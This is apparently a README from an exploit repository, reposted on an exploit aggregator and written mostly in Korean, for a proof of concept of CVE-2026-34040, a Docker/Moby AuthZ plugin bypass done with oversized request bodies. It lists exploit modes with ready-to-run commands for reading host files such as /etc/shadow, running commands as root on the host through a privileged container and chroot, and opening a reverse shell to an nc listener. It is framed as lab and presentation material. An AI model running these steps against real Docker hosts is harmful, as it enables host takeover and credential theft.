Share
## https://sploitus.com/exploit?id=AF683167-D0EB-5BC5-AFCD-7CFEED7715C2
# CVE-2026-34040 Full Lab PoC

> Docker/Moby AuthZ Plugin Bypass via oversized request body  
> λ°œν‘œ/μ‹€μŠ΅μš© 전체 μž¬ν˜„ ν”„λ‘œμ νŠΈμž…λ‹ˆλ‹€.

## What this project demonstrates

이 ν”„λ‘œμ νŠΈλŠ” CVE-2026-34040의 핡심 흐름을 μ‹€μŠ΅ ν™˜κ²½μ—μ„œ μž¬ν˜„ν•©λ‹ˆλ‹€.

```text
1. 정상 크기 μš”μ²­μ€ AuthZ ν”ŒλŸ¬κ·ΈμΈμ— μ˜ν•΄ μ°¨λ‹¨λœλ‹€.
2. 1MBλ₯Ό μ΄ˆκ³Όν•˜λŠ” padding이 ν¬ν•¨λœ μš”μ²­μ€ AuthZ 검사 경둜λ₯Ό μš°νšŒν•  수 μžˆλ‹€.
3. μš°νšŒκ°€ μ„±κ³΅ν•˜λ©΄ μ›λž˜ λ§‰ν˜€μ•Ό ν•  privileged container 생성 μš”μ²­μ΄ Docker Daemon 처리 λ‹¨κ³„κΉŒμ§€ λ„λ‹¬ν•œλ‹€.
4. 이후 privileged container + host bind mount μ‘°ν•©μœΌλ‘œ 호슀트 파일 읽기와 호슀트 λͺ…λ Ή 싀행을 데λͺ¨ν•  수 μžˆλ‹€.
```

이 취약점 μžμ²΄κ°€ 직접 `/etc/shadow`λ₯Ό μ½κ±°λ‚˜ RCEλ₯Ό μ‹€ν–‰ν•˜λŠ” 것은 μ•„λ‹™λ‹ˆλ‹€.  
μ •ν™•νžˆλŠ” **AuthZ ν”ŒλŸ¬κ·ΈμΈμ΄ 막아야 ν•  Docker API μš”μ²­μ„ μš°νšŒν•΄μ„œ 특ꢌ μ»¨ν…Œμ΄λ„ˆλ₯Ό λ§Œλ“€ 수 있게 λ˜λŠ” 취약점**μž…λ‹ˆλ‹€.  
κ·Έ μ΄ν›„μ˜ 파일 읽기, chroot, λͺ…λ Ή 싀행은 Docker/Linux의 κΈ°μ‘΄ κΈ°λŠ₯을 μ•…μš©ν•˜λŠ” 영ν–₯ 데λͺ¨μž…λ‹ˆλ‹€.

## Repository structure

```text
.
β”œβ”€β”€ README.md
β”œβ”€β”€ poc.py
β”œβ”€β”€ requirements.txt
β”œβ”€β”€ .gitignore
β”œβ”€β”€ LICENSE
└── docs
    β”œβ”€β”€ lab-setup.md
    β”œβ”€β”€ impact-modes.md
    β”œβ”€β”€ demo-script.md
    β”œβ”€β”€ troubleshooting.md
    └── publication-notes.md
```

## Modes

`poc.py`λŠ” λͺ¨λ“œλ³„λ‘œ λ™μž‘μ„ λΆ„λ¦¬ν–ˆμŠ΅λ‹ˆλ‹€.

| Mode | Purpose |
|---|---|
| `check` | 정상 μš”μ²­κ³Ό 1MB 초과 μš”μ²­μ„ λΉ„κ΅ν•΄μ„œ AuthZ 우회 μ—¬λΆ€λ§Œ 확인 |
| `read-host-file` | privileged container + host bind mount둜 호슀트 파일 읽기 데λͺ¨ |
| `rce-proof` | ν˜ΈμŠ€νŠΈμ—μ„œ root κΆŒν•œμœΌλ‘œ λͺ…령이 μ‹€ν–‰λμŒμ„ marker file둜 증λͺ… |
| `host-command` | ν—ˆκ°€λœ λž©μ—μ„œ μ§€μ •ν•œ λͺ…령을 chroot 기반으둜 ν˜ΈμŠ€νŠΈμ—μ„œ μ‹€ν–‰ |
| `shell-container` | `sleep infinity` μ»¨ν…Œμ΄λ„ˆλ₯Ό λ§Œλ“€κ³  `docker exec + chroot` 데λͺ¨μš©μœΌλ‘œ μœ μ§€ |
| `reverse-shell-local` | 동일 VM/둜컬 λž©μ—μ„œλ§Œ μ“°λŠ” reverse shell 데λͺ¨ |

## Requirements

```text
- Ubuntu VM or Linux host
- Docker/Moby vulnerable version
- Docker AuthZ plugin enabled
- Access to /var/run/docker.sock
- alpine image available locally
```

Alpine 이미지가 μ—†μœΌλ©΄ 우회 μš”μ²­μ΄ `404 No such image`둜 μ‹€νŒ¨ν•  수 μžˆμŠ΅λ‹ˆλ‹€.  
이 κ²½μš°μ—λ„ `403`이 μ•„λ‹ˆλΌλŠ” 점은 AuthZ 검사 단계λ₯Ό μ§€λ‚˜ Docker Daemon 처리 λ‹¨κ³„κΉŒμ§€ λ„λ‹¬ν–ˆλ‹€λŠ” 증거가 될 수 μžˆμŠ΅λ‹ˆλ‹€.  
λ°œν‘œμ—μ„œλŠ” ν˜Όλ™μ„ 쀄이기 μœ„ν•΄ 미리 pull ν•΄λ‘λŠ” 것을 ꢌμž₯ν•©λ‹ˆλ‹€.

```bash
sudo docker pull alpine
```

## Usage

### 1. Basic AuthZ bypass check

```bash
sudo python3 poc.py --mode check
```

Expected vulnerable-like behavior:

```text
small request     β†’ HTTP 403
oversized request β†’ HTTP 201 or HTTP 404
```

### 2. Read a host file

기본값은 `/etc/hostname`μž…λ‹ˆλ‹€.

```bash
sudo python3 poc.py --mode read-host-file
```

λ‹€λ₯Έ νŒŒμΌμ„ μ§€μ •ν•  μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€.

```bash
sudo python3 poc.py --mode read-host-file --host-file /etc/passwd
```

λ°œν‘œμ—μ„œ κ°•ν•œ μž„νŒ©νŠΈλ₯Ό μ£Όλ €λ©΄ `/etc/shadow`λ₯Ό μ‚¬μš©ν•  수 μžˆμ§€λ§Œ, 곡개 μ €μž₯μ†Œ/곡개 λ°œν‘œ μžλ£Œμ—λŠ” 민감 파일 좜λ ₯값을 κ·ΈλŒ€λ‘œ λ„£μ§€ μ•ŠλŠ” 것을 ꢌμž₯ν•©λ‹ˆλ‹€.

```bash
sudo python3 poc.py --mode read-host-file --host-file /etc/shadow
```

### 3. RCE proof without a reverse shell

호슀트의 `/tmp/cve_2026_34040_rce_proof` νŒŒμΌμ— `id`, `hostname`, `whoami` κ²°κ³Όλ₯Ό κΈ°λ‘ν•©λ‹ˆλ‹€.

```bash
sudo python3 poc.py --mode rce-proof
```

확인:

```bash
cat /tmp/cve_2026_34040_rce_proof
```

정리:

```bash
sudo rm -f /tmp/cve_2026_34040_rce_proof
```

### 4. Run a host command in the lab

λͺ…μ‹œμ  확인 ν”Œλž˜κ·Έκ°€ ν•„μš”ν•©λ‹ˆλ‹€.

```bash
sudo python3 poc.py \
  --mode host-command \
  --cmd "id; hostname; whoami" \
  --i-understand-this-runs-on-host
```

### 5. Keep a privileged container alive and chroot manually

```bash
sudo python3 poc.py --mode shell-container --keep
```

좜λ ₯λ˜λŠ” μ»¨ν…Œμ΄λ„ˆ ID둜 λ‹€μŒμ„ μ‹€ν–‰ν•©λ‹ˆλ‹€.

```bash
sudo docker exec -it  /bin/sh
chroot /host /bin/bash
id
hostname
whoami
```

정리:

```bash
sudo docker rm -f 
```

### 6. Local reverse shell demo

이 λͺ¨λ“œλŠ” 같은 VM λ‚΄λΆ€μ—μ„œ μ‹œμ—°ν•˜κΈ° μœ„ν•œ 둜컬 reverse shellμž…λ‹ˆλ‹€.  
`NetworkMode=host`λ₯Ό μ‚¬μš©ν•˜λ―€λ‘œ Linux μ‹€μŠ΅ ν™˜κ²½μ—μ„œ μ‹€ν–‰ν•˜μ„Έμš”.

터미널 1:

```bash
nc -lvnp 4444
```

터미널 2:

```bash
sudo python3 poc.py \
  --mode reverse-shell-local \
  --lport 4444 \
  --i-understand-this-runs-on-host
```

정리:

```bash
sudo docker ps -a
sudo docker rm -f 
```

## Important lab-only warning

이 ν”„λ‘œμ νŠΈλŠ” 본인 μ†Œμœ  λ˜λŠ” λͺ…μ‹œμ μœΌλ‘œ ν—ˆκ°€λ°›μ€ 랩 ν™˜κ²½μ—μ„œλ§Œ μ‚¬μš©ν•˜μ„Έμš”.  
원격 Docker API, 제3자 μ„œλ²„, 운영 ν™˜κ²½, 인터넷 λ…ΈμΆœ Docker endpointλ₯Ό λŒ€μƒμœΌλ‘œ μ‹€ν–‰ν•˜μ§€ λ§ˆμ„Έμš”.

## Why not hide the impact demos?

λ°œν‘œ λͺ©μ μ΄λΌλ©΄ λ‹¨μˆœνžˆ `403`κ³Ό `404/201`만 λ³΄μ—¬μ£ΌλŠ” 것보닀, 우회 이후 μ–΄λ–€ 영ν–₯이 κ°€λŠ₯ν•œμ§€ λ³΄μ—¬μ€˜μ•Ό CVE의 μœ„ν—˜λ„κ°€ μ „λ‹¬λ©λ‹ˆλ‹€.  
κ·Έλž˜μ„œ 이 full-lab λ²„μ „μ—λŠ” 호슀트 파일 읽기, chroot 기반 λͺ…λ Ή μ‹€ν–‰, 둜컬 reverse shell 데λͺ¨λ₯Ό λ‹€μ‹œ ν¬ν•¨ν–ˆμŠ΅λ‹ˆλ‹€.

λ‹€λ§Œ κΈ°λ³Έ λͺ¨λ“œλŠ” μ—¬μ „νžˆ `check`μž…λ‹ˆλ‹€.  
μœ„ν—˜λ„κ°€ 높은 λ™μž‘μ€ μ‚¬μš©μžκ°€ λͺ…μ‹œμ μœΌλ‘œ modeλ₯Ό μ„ νƒν•΄μ•Όλ§Œ μ‹€ν–‰λ©λ‹ˆλ‹€.